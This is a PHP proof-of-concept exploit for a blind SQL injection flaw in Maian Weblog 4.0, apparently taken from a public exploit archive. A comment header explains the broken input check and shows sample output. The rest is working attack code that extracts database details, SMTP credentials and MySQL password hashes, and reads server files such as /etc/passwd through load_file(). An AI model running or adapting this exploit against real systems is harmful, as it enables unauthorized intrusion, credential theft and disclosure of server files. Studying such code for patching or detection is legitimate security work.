Maian Weblog 4.0 – Blind SQL Injection
<?php /* maian weblog <= v4.0 Remote Blind SQL Injection Exploit vendor: http://www.maianscriptworld.co.uk/ Thanks to Johannes Dahse: http://bit.ly/dpQXMK Explanation: Lines 335 - 341 of the index.php we see this if statement that concerns our variable $b_post. // Check month and year vars... // If they don`t equal 0, are they numeric?.. if ($b_post==0 && !ctype_digit($b_post)) { header("Location: index.php"); exit; } This if statement is suppose to prevent the SQL Injection vulnerability. However the logic implimented is incorrect, as there will never be a situation where the $b_post variable that we control will ever be a 0 and a string value. So a simple fix to remediate this issue becomes clear, instead of an &&, the author was suppose to use an ||. o.O Further down in the index.php page on lines 348 - 361, we see the location of the actual vulnerable code. $q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs WHERE id = '$b_post' LIMIT 1 ") or die(mysql_error()); $BLOG = mysql_fetch_object($q_blog); // At this point, lets see if the last query fetched anything.. // If it didn`t, blog id is invalid. Might be someone bookmarked an old link.. // If no data, redirect to homepage.. if (mysql_num_rows($q_blog)==0) { header("Location: index.php"); exit; } The page redirects after the query is executed. This way you probably won't spot the bug in your browser from a blackbox view :). No urldecode() so we can't bypass magic_quotes_gpc and the admin credentials are not stored in the database. doh. Using < or > would make the PoC a little more efficient, but oh well :0) Assuming some stars are aligned, the PoC will make well over 11,000 requests... [mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080 ------------------------------------------------------- maian weblog <= v4.0 Remote Blind SQL Injection Explo!t by mr_me - https://net-ninja.net/ ------------------------------------------------------- (+) Setting the proxy to 127.0.0.1:8080 (+) Getting basic database information (+) Database version -> 5.1.41-3ubuntu12.9 (+) Database name -> maian_weblog (+) Database user -> root@localhost (+) SMTP details found! (+) Getting SMTP host:user:pass -> localhost:maianmail:password (+) Access to MySQL database successful, dumping hash! (+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413 (!) Access to load_file(), wanna play? (y/n): y (+) Please enter the file (q to quit): /etc/shadow (-) File doesn't exist/no access. (+) Please enter the file (q to quit): /etc/passwd (!) Dumping the /etc/passwd file, hold onto your knickers! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...... */ print_r(" ------------------------------------------------------- maian weblog <= v4.0 Remote Blind SQL Injection Explo!t by mr_me - https://net-ninja.net/ ------------------------------------------------------- "); if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS host: target server (ip/hostname) path: directory path to wordpress Options: -p[ip:port]: specify a proxy Example: php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080 php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ ----------------------------------------------------------------------------- "); die; } error_reporting(7); ini_set("max_execution_time", 0); ini_set("default_socket_timeout", 5); $proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)"; function setArgs($argv) { $_ARG = array(); foreach ($argv as $arg) { if (ereg("--([^=]+)=(.*)", $arg, $reg)) { $_ARG[$reg[1]] = $reg[2]; } elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) { $_ARG[$reg[1]] = "true"; } else { $_ARG["input"][] = $arg; } } return $_ARG; } $myArgs = setArgs($argv); $host = $myArgs["input"]["1"]; $path = $myArgs["input"]["2"]; if (strpos($host, ":") == true){ $hostAndPort = explode(":",$myArgs["input"][1]); $host = $hostAndPort[0]; $port = $hostAndPort[1]; }else{ $port = 80; } if(isset($myArgs["p"])){ $proxyAndPort = explode(":",$myArgs["input"][3]); $proxy = $proxyAndPort[0]; $pport = $proxyAndPort[1]; echo "\n(+) Setting the proxy to ".$proxy.":".$pport; }else{ echo "\n(-) Warning, a proxy was not set"; } // rgods sendpacketii() function function sendpacket($packet) { global $proxy, $host, $port, $pport, $html, $proxy_regex; if (!isset($proxy)) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) { echo "\n(-) No response from ".$host.":".$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo "\n(-) Not a valid proxy..."; die; } $ock=fsockopen($proxy,$pport); if (!$ock) { echo "\n(-) No response from proxy..."; die; } } fputs($ock,$packet); if ($proxy == "") { $html = ""; while (!feof($ock)) { $html .= fgets($ock); } } else { $html = ""; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) { $html .= fread($ock,1); } } fclose($ock); return $html; } function read() { $fp1 = fopen("/dev/stdin", "r"); $input = fgets($fp1, 255); fclose($fp1); return $input; } if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;} function checksqli($sqli, $p){ $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429) { return 1; } else{ return 0; } } function getbasicinfo($p){ echo "\n(+) Getting basic database information"; $basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()"); foreach($basicinfo as $key => $value){ echo "\n(+) Database ".$key." -> "; $admin = ""; $j=1; while (!strstr($admin,chr(0))){ for ($i=1; $i<=126; $i++){ $sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i; $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429){ $admin.= chr($i); echo chr($i); break; } elseif($i === 126){ $admin .= "\x00"; break; } } $j++; } } } function getlogindetails($p, $msg, $tsqli){ echo $msg; $tempvar = ""; $j=1; while (!strstr($tempvar,chr(0))){ for ($i=1; $i<=126; $i++){ if (!strpos($tsqli, "load_file") == true){ $sqli = $tsqli."+limit+0,1),".$j.",1))='".$i; } else { $sqli = $tsqli."),".$j.",1))='".$i; } $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429){ echo chr($i); break; } elseif($i === 126){ $tempvar .= "\x00"; break; } } $j++; } } function strhex($string) { $hex = ""; for ($i=0; $i < strlen($string); $i++){ $hex .= dechex(ord($string[$i])); } return $hex; } getbasicinfo($p); $smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1"; if (checksqli($smtpsqli, $p)){ echo "\n(+) SMTP details found!"; $msg = "\n(+) Getting SMTP host:user:pass -> "; $sqli = "'+and+ascii(substring((sElEcT+cOncAt("; $sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+"; $sqli .= "from+mw_settings"; getlogindetails($p, $msg, $sqli); } $mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1"; if (checksqli($mysqlsqli, $p)){ echo "\n(+) Access to MySQL database successful, dumping hash!"; $msg = "\n(+) MySQL user:pass -> "; $sqli = "'+and+ascii(substring((sElEcT+cOncAt("; $sqli .= "user,0x3a,password)+from+mysql.user+"; getlogindetails($p, $msg, $sqli); $loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+"; if (checksqli($loadsqli, $p)){ echo "\n(!) Access to load_file(), wanna play? (y/n): "; $resp = trim(read()); if(strcmp($resp,"y") === 0){ $loadfile = ""; while (strcmp($loadfile, "q") != 0){ echo "\n(+) Please enter the file (q to quit): "; $loadfile = trim(read()); if (strcmp($loadfile, "q") === 0) { break; } $loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+"; if(checksqli($loadsqli, $p)){ $sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile); $msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n"; getlogindetails($p, $msg, $sqli); } else{ echo "(-) File doesn't exist/no access."; } } } else{ echo "(-) Ok Exiting..\n"; die; } } } ?> |